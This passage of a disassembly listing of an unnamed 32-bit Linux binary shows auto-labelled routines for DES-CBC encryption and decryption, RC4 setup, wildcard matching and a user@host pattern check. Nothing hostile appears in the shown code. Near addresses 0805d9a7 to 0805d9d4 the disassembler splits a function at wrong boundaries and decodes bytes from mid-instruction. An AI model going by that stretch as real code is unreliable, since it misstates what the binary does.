0805d4b0   0f 83 bf 00 00 00     jae     0805d575 <Unknown0253+0x13d>   ;191 'xbf x0 x0 x0' ""
0805d4b6   8d 45 e8              lea     0xffffffe8(%ebp),%eax
0805d4b9   89 45 e4              mov     %eax,0xffffffe4(%ebp)
0805d4bc   0f b6 44 3e 01        movzbl  0x1(%esi,%edi,1),%eax
0805d4c1   0f b6 14 3e           movzbl  (%esi,%edi,1),%edx
0805d4c5   c1 e0 08              shl     $0x8,%eax
0805d4c8   09 c2                 or      %eax,%edx
0805d4ca   0f b6 44 3e 02        movzbl  0x2(%esi,%edi,1),%eax
0805d4cf   c1 e0 10              shl     $0x10,%eax
0805d4d2   09 c2                 or      %eax,%edx
0805d4d4   0f b6 44 3e 03        movzbl  0x3(%esi,%edi,1),%eax
0805d4d9   c1 e0 18              shl     $0x18,%eax
0805d4dc   09 c2                 or      %eax,%edx
0805d4de   0f b6 44 3e 05        movzbl  0x5(%esi,%edi,1),%eax
0805d4e3   31 d3                 xor     %edx,%ebx
0805d4e5   c1 e0 08              shl     $0x8,%eax
0805d4e8   0f b6 54 3e 04        movzbl  0x4(%esi,%edi,1),%edx
0805d4ed   09 c2                 or      %eax,%edx
0805d4ef   0f b6 44 3e 06        movzbl  0x6(%esi,%edi,1),%eax
0805d4f4   c1 e0 10              shl     $0x10,%eax
0805d4f7   83 ec 0c              sub     $0xc,%esp
0805d4fa   09 c2                 or      %eax,%edx
0805d4fc   0f b6 44 3e 07        movzbl  0x7(%esi,%edi,1),%eax
0805d501   c1 e0 18              shl     $0x18,%eax
0805d504   6a 01                 push    $0x1
0805d506   ff 75 08              pushl   0x8(%ebp)
0805d509   09 c2                 or      %eax,%edx
0805d50b   31 d1                 xor     %edx,%ecx
0805d50d   ff 75 e4              pushl   0xffffffe4(%ebp)
0805d510   51                    push    %ecx
0805d511   53                    push    %ebx
0805d512   e8 0d f9 ff ff        call    0805ce24 <Unknown0250>
0805d517   83 c4 20              add     $0x20,%esp
0805d51a   8d 55 e8              lea     0xffffffe8(%ebp),%edx
0805d51d   8b 5d e8              mov     0xffffffe8(%ebp),%ebx
0805d520   8b 4d ec              mov     0xffffffec(%ebp),%ecx
0805d523   89 55 e4              mov     %edx,0xffffffe4(%ebp)
0805d526   8b 45 10              mov     0x10(%ebp),%eax
0805d529   88 1c 06              mov     %bl,(%esi,%eax,1)
0805d52c   89 d8                 mov     %ebx,%eax
0805d52e   8b 55 10              mov     0x10(%ebp),%edx
0805d531   c1 e8 08              shr     $0x8,%eax
0805d534   88 44 16 01           mov     %al,0x1(%esi,%edx,1)
0805d538   89 d8                 mov     %ebx,%eax
0805d53a   c1 e8 10              shr     $0x10,%eax
0805d53d   88 44 16 02           mov     %al,0x2(%esi,%edx,1)
0805d541   89 d8                 mov     %ebx,%eax
0805d543   c1 e8 18              shr     $0x18,%eax
0805d546   88 44 16 03           mov     %al,0x3(%esi,%edx,1)
0805d54a   88 4c 16 04           mov     %cl,0x4(%esi,%edx,1)
0805d54e   89 c8                 mov     %ecx,%eax
0805d550   c1 e8 08              shr     $0x8,%eax
0805d553   88 44 16 05           mov     %al,0x5(%esi,%edx,1)
0805d557   89 c8                 mov     %ecx,%eax
0805d559   c1 e8 10              shr     $0x10,%eax
0805d55c   88 44 16 06           mov     %al,0x6(%esi,%edx,1)
0805d560   89 c8                 mov     %ecx,%eax
0805d562   c1 e8 18              shr     $0x18,%eax
0805d565   88 44 16 07           mov     %al,0x7(%esi,%edx,1)
0805d569   83 c6 08              add     $0x8,%esi
0805d56c   3b 75 18              cmp     0x18(%ebp),%esi
0805d56f   0f 82 47 ff ff ff     jb      0805d4bc <Unknown0253+0x84>   ;-185 'x47 xff xff xff' "G"
0805d575   8b 45 0c              mov     0xc(%ebp),%eax
0805d578   88 18                 mov     %bl,(%eax)
0805d57a   c1 eb 08              shr     $0x8,%ebx
0805d57d   88 58 01              mov     %bl,0x1(%eax)
0805d580   c1 eb 08              shr     $0x8,%ebx
0805d583   88 58 02              mov     %bl,0x2(%eax)
0805d586   c1 eb 08              shr     $0x8,%ebx
0805d589   88 58 03              mov     %bl,0x3(%eax)
0805d58c   88 48 04              mov     %cl,0x4(%eax)
0805d58f   c1 e9 08              shr     $0x8,%ecx
0805d592   88 48 05              mov     %cl,0x5(%eax)
0805d595   c1 e9 08              shr     $0x8,%ecx
0805d598   88 48 06              mov     %cl,0x6(%eax)
0805d59b   c1 e9 08              shr     $0x8,%ecx
```

```
0805d59e  88 48 07                  mov     %cl,0x7(%eax)
0805d5a1  8d 65 f4                  lea     0xfffffff4(%ebp),%esp
0805d5a4  5b                        pop     %ebx
0805d5a5  5e                        pop     %esi
0805d5a6  5f                        pop     %edi
0805d5a7  5d                        pop     %ebp
0805d5a8  c3                        ret
0805d5a9  8d 76 00                  lea     0x0(%esi),%esi


  ;
  ; >---------------------<  Subroutine # 254 >---------------------<
  ;
0805d5ac <Unknown0254>:
0805d5ac  55                        push    %ebp
0805d5ad  89 e5                     mov     %esp,%ebp
0805d5af  57                        push    %edi
0805d5b0  56                        push    %esi
0805d5b1  53                        push    %ebx
0805d5b2  83 ec 1c                  sub     $0x1c,%esp
0805d5b5  f7 45 18 07 00 00 00      testl   $0x7,0x18(%ebp)  ;7 'x7 x0 x0 x0' ""
0805d5bc  74 1a                     je      0805d5d8 <Unknown0254+0x2c>
0805d5be  68 a5 4f 07 08            push    $0x8074fa5  ;[in .rodata] 1601398116 'x64 x65 x73 x5f'
                                                        "des_cbc_decrypt"
0805d5c3  68 22 02 00 00            push    $0x222  ;546 'x22 x2 x0 x0' """
0805d5c8  68 90 4f 07 08            push    $0x8074f90  ;[in .rodata] 779314532 'x64 x65 x73 x2e' "des.c"
0805d5cd  68 96 4f 07 08            push    $0x8074f96  ;[in .rodata] 1852140584 'x28 x6c x65 x6e' "(len & 7)
                                                        == 0"
0805d5d2  e8 f5 c7 fe ff            call    08049dcc <__assert_fail>
0805d5d7  90                        nop
0805d5d8  8b 45 0c                  mov     0xc(%ebp),%eax
0805d5db  0f b6 18                  movzbl  (%eax),%ebx
0805d5de  0f b6 40 01               movzbl  0x1(%eax),%eax
0805d5e2  8b 55 0c                  mov     0xc(%ebp),%edx
0805d5e5  c1 e0 08                  shl     $0x8,%eax
0805d5e8  09 c3                     or      %eax,%ebx
0805d5ea  0f b6 42 02               movzbl  0x2(%edx),%eax
0805d5ee  c1 e0 10                  shl     $0x10,%eax
0805d5f1  09 c3                     or      %eax,%ebx
0805d5f3  0f b6 42 03               movzbl  0x3(%edx),%eax
0805d5f7  c1 e0 18                  shl     $0x18,%eax
0805d5fa  09 c3                     or      %eax,%ebx
0805d5fc  0f b6 42 05               movzbl  0x5(%edx),%eax
0805d600  c1 e0 08                  shl     $0x8,%eax
0805d603  0f b6 7a 04               movzbl  0x4(%edx),%edi
0805d607  09 c7                     or      %eax,%edi
0805d609  0f b6 42 06               movzbl  0x6(%edx),%eax
0805d60d  c1 e0 10                  shl     $0x10,%eax
0805d610  09 c7                     or      %eax,%edi
0805d612  0f b6 42 07               movzbl  0x7(%edx),%eax
0805d616  c1 e0 18                  shl     $0x18,%eax
0805d619  c7 45 e0 00 00 00 00      movl    $0x0,0xffffffe0(%ebp)  ;0 'x0 x0 x0 x0' ""
0805d620  8b 4d 18                  mov     0x18(%ebp),%ecx
0805d623  09 c7                     or      %eax,%edi
0805d625  39 4d e0                  cmp     %ecx,0xffffffe0(%ebp)
0805d628  0f 83 d2 00 00 00         jae     0805d700 <Unknown0254+0x154>  ;210 'xd2 x0 x0 x0' ""
0805d62e  8d 75 e8                  lea     0xffffffe8(%ebp),%esi
0805d631  89 75 dc                  mov     %esi,0xffffffdc(%ebp)
0805d634  8b 55 e0                  mov     0xffffffe0(%ebp),%edx
0805d637  8b 45 14                  mov     0x14(%ebp),%eax
0805d63a  0f b6 04 02               movzbl  (%edx,%eax,1),%eax
0805d63e  89 45 e4                  mov     %eax,0xffffffe4(%ebp)
0805d641  8b 4d 14                  mov     0x14(%ebp),%ecx
0805d644  0f b6 44 0a 01            movzbl  0x1(%edx,%ecx,1),%eax
0805d649  c1 e0 08                  shl     $0x8,%eax
0805d64c  09 45 e4                  or      %eax,0xffffffe4(%ebp)
0805d64f  0f b6 44 0a 02            movzbl  0x2(%edx,%ecx,1),%eax
0805d654  c1 e0 10                  shl     $0x10,%eax
0805d657  09 45 e4                  or      %eax,0xffffffe4(%ebp)
0805d65a  0f b6 44 0a 03            movzbl  0x3(%edx,%ecx,1),%eax
0805d65f  c1 e0 18                  shl     $0x18,%eax
0805d662  09 45 e4                  or      %eax,0xffffffe4(%ebp)
0805d665  0f b6 44 0a 05            movzbl  0x5(%edx,%ecx,1),%eax
0805d66a  0f b6 74 0a 04            movzbl  0x4(%edx,%ecx,1),%esi
0805d66f  c1 e0 08                  shl     $0x8,%eax
0805d672  09 c6                     or      %eax,%esi
0805d674  0f b6 44 0a 06            movzbl  0x6(%edx,%ecx,1),%eax
0805d679  83 ec 0c                  sub     $0xc,%esp
0805d67c  c1 e0 10                  shl     $0x10,%eax
0805d67f  09 c6                     or      %eax,%esi
0805d681  0f b6 44 0a 07            movzbl  0x7(%edx,%ecx,1),%eax
0805d686  6a 00                     push    $0x0
0805d688  ff 75 08                  pushl   0x8(%ebp)
0805d68b  c1 e0 18                  shl     $0x18,%eax
```

```
0805d68e  ff 75 dc                pushl   0xffffffdc(%ebp)
0805d691  09 c6                   or      %eax,%esi
0805d693  56                      push    %esi
0805d694  ff 75 e4                pushl   0xffffffe4(%ebp)
0805d697  e8 88 f7 ff ff          call    0805ce24 <Unknown0250>
0805d69c  83 c4 20                add     $0x20,%esp
0805d69f  8d 45 e8                lea     0xffffffe8(%ebp),%eax
0805d6a2  33 5d e8                xor     0xffffffe8(%ebp),%ebx
0805d6a5  33 7d ec                xor     0xffffffec(%ebp),%edi
0805d6a8  89 45 dc                mov     %eax,0xffffffdc(%ebp)
0805d6ab  8b 55 10                mov     0x10(%ebp),%edx
0805d6ae  8b 4d e0                mov     0xffffffe0(%ebp),%ecx
0805d6b1  88 1c 11                mov     %bl,(%ecx,%edx,1)
0805d6b4  c1 eb 08                shr     $0x8,%ebx
0805d6b7  88 5c 11 01             mov     %bl,0x1(%ecx,%edx,1)
0805d6bb  c1 eb 08                shr     $0x8,%ebx
0805d6be  88 5c 11 02             mov     %bl,0x2(%ecx,%edx,1)
0805d6c2  c1 eb 08                shr     $0x8,%ebx
0805d6c5  88 5c 11 03             mov     %bl,0x3(%ecx,%edx,1)
0805d6c9  89 f8                   mov     %edi,%eax
0805d6cb  c1 ef 08                shr     $0x8,%edi
0805d6ce  88 44 11 04             mov     %al,0x4(%ecx,%edx,1)
0805d6d2  89 f8                   mov     %edi,%eax
0805d6d4  c1 ef 08                shr     $0x8,%edi
0805d6d7  88 44 11 05             mov     %al,0x5(%ecx,%edx,1)
0805d6db  89 f8                   mov     %edi,%eax
0805d6dd  c1 ef 08                shr     $0x8,%edi
0805d6e0  88 44 11 06             mov     %al,0x6(%ecx,%edx,1)
0805d6e4  89 f8                   mov     %edi,%eax
0805d6e6  88 44 11 07             mov     %al,0x7(%ecx,%edx,1)
0805d6ea  8b 5d e4                mov     0xffffffe4(%ebp),%ebx
0805d6ed  83 c1 08                add     $0x8,%ecx
0805d6f0  8b 55 18                mov     0x18(%ebp),%edx
0805d6f3  39 d1                   cmp     %edx,%ecx
0805d6f5  89 f7                   mov     %esi,%edi
0805d6f7  89 4d e0                mov     %ecx,0xffffffe0(%ebp)
0805d6fa  0f 82 34 ff ff ff       jb      0805d634 <Unknown0254+0x88>   ;-204 'x34 xff xff xff' "4"
0805d700  8b 4d 0c                mov     0xc(%ebp),%ecx
0805d703  88 19                   mov     %bl,(%ecx)
0805d705  c1 eb 08                shr     $0x8,%ebx
0805d708  88 59 01                mov     %bl,0x1(%ecx)
0805d70b  c1 eb 08                shr     $0x8,%ebx
0805d70e  88 59 02                mov     %bl,0x2(%ecx)
0805d711  c1 eb 08                shr     $0x8,%ebx
0805d714  88 59 03                mov     %bl,0x3(%ecx)
0805d717  89 f8                   mov     %edi,%eax
0805d719  c1 ef 08                shr     $0x8,%edi
0805d71c  89 fa                   mov     %edi,%edx
0805d71e  c1 ef 08                shr     $0x8,%edi
0805d721  88 41 04                mov     %al,0x4(%ecx)
0805d724  89 f8                   mov     %edi,%eax
0805d726  c1 ef 08                shr     $0x8,%edi
0805d729  88 51 05                mov     %dl,0x5(%ecx)
0805d72c  89 fa                   mov     %edi,%edx
0805d72e  88 41 06                mov     %al,0x6(%ecx)
0805d731  88 51 07                mov     %dl,0x7(%ecx)
0805d734  8d 65 f4                lea     0xfffffff4(%ebp),%esp
0805d737  5b                      pop     %ebx
0805d738  5e                      pop     %esi
0805d739  5f                      pop     %edi
0805d73a  5d                      pop     %ebp
0805d73b  c3                      ret


   ;
   ; >---------------------<  Subroutine # 255 >---------------------<
   ;
0805d73c <Unknown0255>:
0805d73c  55                      push    %ebp
0805d73d  89 e5                   mov     %esp,%ebp
0805d73f  57                      push    %edi
0805d740  56                      push    %esi
0805d741  53                      push    %ebx
0805d742  83 ec 18                sub     $0x18,%esp
0805d745  8b 45 10                mov     0x10(%ebp),%eax
0805d748  89 45 f0                mov     %eax,0xfffffff0(%ebp)
0805d74b  8b 45 18                mov     0x18(%ebp),%eax
0805d74e  8b 75 28                mov     0x28(%ebp),%esi
0805d751  89 45 ec                mov     %eax,0xffffffec(%ebp)
0805d754  8b 45 1c                mov     0x1c(%ebp),%eax
0805d757  8b 5d 20                mov     0x20(%ebp),%ebx
0805d75a  8b 7d 14                mov     0x14(%ebp),%edi
0805d75d  89 45 e8                mov     %eax,0xffffffe8(%ebp)
0805d760  56                      push    %esi
```

```
0805d761  ff 75 24           pushl   0x24(%ebp)
0805d764  53                 push    %ebx
0805d765  ff 75 0c           pushl   0xc(%ebp)
0805d768  ff 75 08           pushl   0x8(%ebp)
0805d76b  e8 c8 fc ff ff     call    0805d438 <Unknown0253>
0805d770  83 c4 14           add     $0x14,%esp
0805d773  56                 push    %esi
0805d774  53                 push    %ebx
0805d775  53                 push    %ebx
0805d776  57                 push    %edi
0805d777  ff 75 f0           pushl   0xfffffff0(%ebp)
0805d77a  e8 2d fe ff ff     call    0805d5ac <Unknown0254>
0805d77f  8b 45 e8           mov     0xffffffe8(%ebp),%eax
0805d782  89 45 0c           mov     %eax,0xc(%ebp)
0805d785  8b 45 ec           mov     0xffffffec(%ebp),%eax
0805d788  89 75 18           mov     %esi,0x18(%ebp)
0805d78b  89 5d 14           mov     %ebx,0x14(%ebp)
0805d78e  89 5d 10           mov     %ebx,0x10(%ebp)
0805d791  89 45 08           mov     %eax,0x8(%ebp)
0805d794  83 c4 20           add     $0x20,%esp
0805d797  8d 65 f4           lea     0xfffffff4(%ebp),%esp
0805d79a  5b                 pop     %ebx
0805d79b  5e                 pop     %esi
0805d79c  5f                 pop     %edi
0805d79d  5d                 pop     %ebp
0805d79e  e9 95 fc ff ff     jmp     0805d438 <Unknown0253>   ;-875 'x95 xfc xff xff' ""
0805d7a3  90                 nop


   ;
   ; >--------------------<  Subroutine # 256 >--------------------<
   ;
0805d7a4 <Unknown0256>:
0805d7a4  55                 push    %ebp
0805d7a5  89 e5              mov     %esp,%ebp
0805d7a7  57                 push    %edi
0805d7a8  56                 push    %esi
0805d7a9  53                 push    %ebx
0805d7aa  83 ec 18           sub     $0x18,%esp
0805d7ad  8b 45 08           mov     0x8(%ebp),%eax
0805d7b0  89 45 f0           mov     %eax,0xfffffff0(%ebp)
0805d7b3  8b 45 0c           mov     0xc(%ebp),%eax
0805d7b6  8b 75 28           mov     0x28(%ebp),%esi
0805d7b9  89 45 ec           mov     %eax,0xffffffec(%ebp)
0805d7bc  8b 45 10           mov     0x10(%ebp),%eax
0805d7bf  8b 5d 20           mov     0x20(%ebp),%ebx
0805d7c2  89 45 e8           mov     %eax,0xffffffe8(%ebp)
0805d7c5  8b 7d 14           mov     0x14(%ebp),%edi
0805d7c8  56                 push    %esi
0805d7c9  ff 75 24           pushl   0x24(%ebp)
0805d7cc  53                 push    %ebx
0805d7cd  ff 75 1c           pushl   0x1c(%ebp)
0805d7d0  ff 75 18           pushl   0x18(%ebp)
0805d7d3  e8 d4 fd ff ff     call    0805d5ac <Unknown0254>
0805d7d8  83 c4 14           add     $0x14,%esp
0805d7db  56                 push    %esi
0805d7dc  53                 push    %ebx
0805d7dd  53                 push    %ebx
0805d7de  57                 push    %edi
0805d7df  ff 75 e8           pushl   0xffffffe8(%ebp)
0805d7e2  e8 51 fc ff ff     call    0805d438 <Unknown0253>
0805d7e7  8b 45 ec           mov     0xffffffec(%ebp),%eax
0805d7ea  89 45 0c           mov     %eax,0xc(%ebp)
0805d7ed  8b 45 f0           mov     0xfffffff0(%ebp),%eax
0805d7f0  89 75 18           mov     %esi,0x18(%ebp)
0805d7f3  89 5d 14           mov     %ebx,0x14(%ebp)
0805d7f6  89 5d 10           mov     %ebx,0x10(%ebp)
0805d7f9  89 45 08           mov     %eax,0x8(%ebp)
0805d7fc  83 c4 20           add     $0x20,%esp
0805d7ff  8d 65 f4           lea     0xfffffff4(%ebp),%esp
0805d802  5b                 pop     %ebx
0805d803  5e                 pop     %esi
0805d804  5f                 pop     %edi
0805d805  5d                 pop     %ebp
0805d806  e9 a1 fd ff ff     jmp     0805d5ac <Unknown0254>   ;-607 'xa1 xfd xff xff' ""
0805d80b  90                 nop


   ;
   ; >--------------------<  Subroutine # 257 >--------------------<
   ;
0805d80c <Unknown0257>:
0805d80c  55                 push    %ebp
0805d80d  89 e5              mov     %esp,%ebp
```

```
0805d80f  56                          push    %esi
0805d810  53                          push    %ebx
0805d811  8b 75 0c                    mov     0xc(%ebp),%esi
0805d814  8b 5d 08                    mov     0x8(%ebp),%ebx
0805d817  90                          nop
0805d818  8a 06                       mov     (%esi),%al
0805d81a  84 c0                       test    %al,%al
0805d81c  75 0e                       jne     0805d82c <Unknown0257+0x20>
0805d81e  31 c0                       xor     %eax,%eax
0805d820  80 3b 00                    cmpb    $0x0,(%ebx)
0805d823  0f 94 c0                    sete    %al
0805d826  e9 89 00 00 00              jmp     0805d8b4 <Unknown0257+0xa8>   ;137 'x89 x0 x0 x0' ""
0805d82b  90                          nop
0805d82c  3c 2a                       cmp     $0x2a,%al
0805d82e  75 6c                       jne     0805d89c <Unknown0257+0x90>
0805d830  46                          inc     %esi
0805d831  8a 16                       mov     (%esi),%dl
0805d833  84 d2                       test    %dl,%dl
0805d835  b8 01 00 00 00              mov     $0x1,%eax   ;1 'x1 x0 x0 x0' ""
0805d83a  74 78                       je      0805d8b4 <Unknown0257+0xa8>
0805d83c  80 fa 3f                    cmp     $0x3f,%dl
0805d83f  74 50                       je      0805d891 <Unknown0257+0x85>
0805d841  80 fa 2a                    cmp     $0x2a,%dl
0805d844  74 4b                       je      0805d891 <Unknown0257+0x85>
0805d846  8a 03                       mov     (%ebx),%al
0805d848  84 c0                       test    %al,%al
0805d84a  74 4a                       je      0805d896 <Unknown0257+0x8a>
0805d84c  eb 06                       jmp     0805d854 <Unknown0257+0x48>
0805d84e  89 f6                       mov     %esi,%esi
0805d850  8a 16                       mov     (%esi),%dl
0805d852  89 f6                       mov     %esi,%esi
0805d854  38 d0                       cmp     %dl,%al
0805d856  75 17                       jne     0805d86f <Unknown0257+0x63>
0805d858  83 ec 08                    sub     $0x8,%esp
0805d85b  8d 46 01                    lea     0x1(%esi),%eax
0805d85e  50                          push    %eax
0805d85f  8d 43 01                    lea     0x1(%ebx),%eax
0805d862  50                          push    %eax
0805d863  e8 a4 ff ff ff              call    0805d80c <Unknown0257>
0805d868  83 c4 10                    add     $0x10,%esp
0805d86b  85 c0                       test    %eax,%eax
0805d86d  75 1a                       jne     0805d889 <Unknown0257+0x7d>
0805d86f  43                          inc     %ebx
0805d870  8a 03                       mov     (%ebx),%al
0805d872  84 c0                       test    %al,%al
0805d874  75 da                       jne     0805d850 <Unknown0257+0x44>
0805d876  eb 1e                       jmp     0805d896 <Unknown0257+0x8a>
0805d878  83 ec 08                    sub     $0x8,%esp
0805d87b  56                          push    %esi
0805d87c  53                          push    %ebx
0805d87d  e8 8a ff ff ff              call    0805d80c <Unknown0257>
0805d882  83 c4 10                    add     $0x10,%esp
0805d885  85 c0                       test    %eax,%eax
0805d887  74 07                       je      0805d890 <Unknown0257+0x84>
0805d889  b8 01 00 00 00              mov     $0x1,%eax   ;1 'x1 x0 x0 x0' ""
0805d88e  eb 24                       jmp     0805d8b4 <Unknown0257+0xa8>
0805d890  43                          inc     %ebx
0805d891  80 3b 00                    cmpb    $0x0,(%ebx)
0805d894  75 e2                       jne     0805d878 <Unknown0257+0x6c>
0805d896  31 c0                       xor     %eax,%eax
0805d898  eb 1a                       jmp     0805d8b4 <Unknown0257+0xa8>
0805d89a  89 f6                       mov     %esi,%esi
0805d89c  8a 13                       mov     (%ebx),%dl
0805d89e  84 d2                       test    %dl,%dl
0805d8a0  74 f4                       je      0805d896 <Unknown0257+0x8a>
0805d8a2  3c 3f                       cmp     $0x3f,%al
0805d8a4  74 04                       je      0805d8aa <Unknown0257+0x9e>
0805d8a6  38 d0                       cmp     %dl,%al
0805d8a8  75 ec                       jne     0805d896 <Unknown0257+0x8a>
0805d8aa  43                          inc     %ebx
0805d8ab  46                          inc     %esi
0805d8ac  e9 67 ff ff ff              jmp     0805d818 <Unknown0257+0xc>   ;-153 'x67 xff xff xff' "g"
0805d8b1  8d 76 00                    lea     0x0(%esi),%esi
0805d8b4  8d 65 f8                    lea     0xfffffff8(%ebp),%esp
0805d8b7  5b                          pop     %ebx
0805d8b8  5e                          pop     %esi
0805d8b9  5d                          pop     %ebp
0805d8ba  c3                          ret
0805d8bb  90                          nop


    ;
    ; >---------------------<  Subroutine # 258 >---------------------<
    ;
```

```
0805d8bc <Unknown0258>:
0805d8bc   55                         push   %ebp
0805d8bd   89 e5                      mov    %esp,%ebp
0805d8bf   57                         push   %edi
0805d8c0   56                         push   %esi
0805d8c1   53                         push   %ebx
0805d8c2   83 ec 0c                   sub    $0xc,%esp
0805d8c5   8b 45 08                   mov    0x8(%ebp),%eax
0805d8c8   89 45 f0                   mov    %eax,0xfffffff0(%ebp)
0805d8cb   8b 45 0c                   mov    0xc(%ebp),%eax
0805d8ce   89 45 ec                   mov    %eax,0xffffffec(%ebp)
0805d8d1   8b 75 10                   mov    0x10(%ebp),%esi
0805d8d4   8b 55 ec                   mov    0xffffffec(%ebp),%edx
0805d8d7   31 c0                      xor    %eax,%eax
0805d8d9   85 d2                      test   %edx,%edx
0805d8db   8a 16                      mov    (%esi),%dl
0805d8dd   0f 95 c0                   setne  %al
0805d8e0   84 d2                      test   %dl,%dl
0805d8e2   89 c7                      mov    %eax,%edi
0805d8e4   89 f1                      mov    %esi,%ecx
0805d8e6   74 2e                      je     0805d916 <Unknown0258+0x5a>
0805d8e8   0f be c2                   movsbl %dl,%eax
0805d8eb   8b 1d 10 9c 07 08          mov    0x8079c10,%ebx   ;[in .bss] 808464928 'x20 x32 x30 x30' " 20000731
                                                                        (Red Hat Linux 7.1 2.96-79)"
0805d8f1   eb 0b                      jmp    0805d8fe <Unknown0258+0x42>
0805d8f3   90                         nop
0805d8f4   41                         inc    %ecx
0805d8f5   8a 11                      mov    (%ecx),%dl
0805d8f7   84 d2                      test   %dl,%dl
0805d8f9   74 1b                      je     0805d916 <Unknown0258+0x5a>
0805d8fb   0f be c2                   movsbl %dl,%eax
0805d8fe   f6 44 43 01 08             testb  $0x8,0x1(%ebx,%eax,2)
0805d903   75 ef                      jne    0805d8f4 <Unknown0258+0x38>
0805d905   80 fa 2e                   cmp    $0x2e,%dl
0805d908   74 ea                      je     0805d8f4 <Unknown0258+0x38>
0805d90a   80 fa 3f                   cmp    $0x3f,%dl
0805d90d   74 e5                      je     0805d8f4 <Unknown0258+0x38>
0805d90f   80 fa 2a                   cmp    $0x2a,%dl
0805d912   74 e0                      je     0805d8f4 <Unknown0258+0x38>
0805d914   31 ff                      xor    %edi,%edi
0805d916   85 ff                      test   %edi,%edi
0805d918   74 16                      je     0805d930 <Unknown0258+0x74>
0805d91a   8b 45 ec                   mov    0xffffffec(%ebp),%eax
0805d91d   89 75 0c                   mov    %esi,0xc(%ebp)
0805d920   89 45 08                   mov    %eax,0x8(%ebp)
0805d923   83 c4 0c                   add    $0xc,%esp
0805d926   5b                         pop    %ebx
0805d927   5e                         pop    %esi
0805d928   5f                         pop    %edi
0805d929   5d                         pop    %ebp
0805d92a   e9 dd fe ff ff             jmp    0805d80c <Unknown0257>  ;-291 'xdd xfe xff xff' ""
0805d92f   90                         nop
0805d930   8b 45 f0                   mov    0xfffffff0(%ebp),%eax
0805d933   89 75 0c                   mov    %esi,0xc(%ebp)
0805d936   89 45 08                   mov    %eax,0x8(%ebp)
0805d939   83 c4 0c                   add    $0xc,%esp
0805d93c   5b                         pop    %ebx
0805d93d   5e                         pop    %esi
0805d93e   5f                         pop    %edi
0805d93f   5d                         pop    %ebp
0805d940   e9 c7 fe ff ff             jmp    0805d80c <Unknown0257>  ;-313 'xc7 xfe xff xff' ""
0805d945   8d 76 00                   lea    0x0(%esi),%esi


   ;
   ; >---------------------<  Subroutine # 259 >---------------------<
   ;
0805d948 <Unknown0259>:
0805d948   55                         push   %ebp
0805d949   89 e5                      mov    %esp,%ebp
0805d94b   57                         push   %edi
0805d94c   56                         push   %esi
0805d94d   53                         push   %ebx
0805d94e   83 ec 14                   sub    $0x14,%esp
0805d951   8b 45 0c                   mov    0xc(%ebp),%eax
0805d954   89 45 f0                   mov    %eax,0xfffffff0(%ebp)
0805d957   8b 45 10                   mov    0x10(%ebp),%eax
0805d95a   89 45 ec                   mov    %eax,0xffffffec(%ebp)
0805d95d   8b 7d 08                   mov    0x8(%ebp),%edi
0805d960   8b 5d 14                   mov    0x14(%ebp),%ebx
0805d963   6a 40                      push   $0x40
0805d965   53                         push   %ebx
0805d966   e8 f1 c2 fe ff             call   08049c5c <strchr>
0805d96b   89 c6                      mov    %eax,%esi
```

```
0805d96d  83 c4 10           add     $0x10,%esp
0805d970  85 f6              test    %esi,%esi
0805d972  75 10              jne     0805d984 <Unknown0259+0x3c>
0805d974  89 5d 0c           mov     %ebx,0xc(%ebp)
0805d977  8d 65 f4           lea     0xfffffff4(%ebp),%esp
0805d97a  5b                 pop     %ebx
0805d97b  5e                 pop     %esi
0805d97c  5f                 pop     %edi
0805d97d  5d                 pop     %ebp
0805d97e  e9 89 fe ff ff     jmp     0805d80c <Unknown0257>   ;-375 'x89 xfe xff xff' ""
0805d983  90                 nop
0805d984  83 ec 0c           sub     $0xc,%esp
0805d987  53                 push    %ebx
0805d988  e8 ab 95 ff ff     call    08056f38 <Unknown0173>
0805d98d  59                 pop     %ecx
0805d98e  5e                 pop     %esi
0805d98f  89 c3              mov     %eax,%ebx
0805d991  6a 40              push    $0x40
0805d993  53                 push    %ebx
0805d994  e8 c3 c2 fe ff     call    08049c5c <strchr>
0805d999  5e                 pop     %esi
0805d99a  5a                 pop     %edx
0805d99b  89 c6              mov     %eax,%esi
0805d99d  c6 06 00           movb    $0x0,(%esi)
0805d9a0  c7 45 e8 00 00 00 00  movl  $0x0,0xffffffe8(%ebp)


  ;
  ; >--------------------<  Subroutine # 260 >--------------------<
  ;
0805d9a7 <Unknown0260>:
0805d9a7  53                 push    %ebx
0805d9a8  57                 push    %edi
0805d9a9  e8 5e fe ff ff     call    0805d80c <Unknown0257>
0805d9ae  83 c4 10           add     $0x10,%esp
0805d9b1  85 c0              test    %eax,%eax
0805d9b3  74 1e              je      0805d9d3 <Unknown0260+0x2c>
0805d9b5  51                 push    %ecx
0805d9b6  8d 46 01           lea     0x1(%esi),%eax
0805d9b9  50                 push    %eax
0805d9ba  ff 75 ec           pushl   0xffffffec(%ebp)
0805d9bd  ff 75 f0           pushl   0xfffffff0(%ebp)
0805d9c0  e8 f7 fe ff ff     call    0805d8bc <Unknown0258>
0805d9c5  83 c4 10           add     $0x10,%esp
0805d9c8  85 c0              test    %eax,%eax
0805d9ca  74 07              je      0805d9d3 <Unknown0260+0x2c>
0805d9cc  c7 45 e8 01 00 00 00  movl  $0x1,0xffffffe8(%ebp)
0805d9d3  83 ec 0c           sub     $0xc,%esp


  ;
  ; >--------------------<  Subroutine # 261 >--------------------<
  ;
0805d9d4 <Unknown0261>:
0805d9d4  ec                 in      (%dx),%al
0805d9d5  0c 53              or      $0x53,%al
0805d9d7  e8 34 95 ff ff     call    08056f10 <Unknown0172>
0805d9dc  8b 45 e8           mov     0xffffffe8(%ebp),%eax
0805d9df  8d 65 f4           lea     0xfffffff4(%ebp),%esp
0805d9e2  5b                 pop     %ebx
0805d9e3  5e                 pop     %esi
0805d9e4  5f                 pop     %edi
0805d9e5  5d                 pop     %ebp
0805d9e6  c3                 ret
0805d9e7  90                 nop


  ;
  ; >--------------------<  Subroutine # 262 >--------------------<
  ;
0805d9e8 <Unknown0262>:
0805d9e8  55                 push    %ebp
0805d9e9  89 e5              mov     %esp,%ebp
0805d9eb  57                 push    %edi
0805d9ec  56                 push    %esi
0805d9ed  53                 push    %ebx
0805d9ee  83 ec 0c           sub     $0xc,%esp
0805d9f1  8b 45 10           mov     0x10(%ebp),%eax
0805d9f4  85 c0              test    %eax,%eax
0805d9f6  8b 55 08           mov     0x8(%ebp),%edx
0805d9f9  75 19              jne     0805da14 <Unknown0262+0x2c>
0805d9fb  68 c0 4f 07 08     push    $0x8074fc0   ;[in .rodata] 1717793377 'x61 x72 x63 x66'
                                                             "arcfour_init"
0805da00  6a 22              push    $0x22
```

```
0805da02  68 cd 4f 07 08       push     $0x8074fcd   ;[in .rodata] 1717793377 'x61 x72 x63 x66' "arcfour.c"
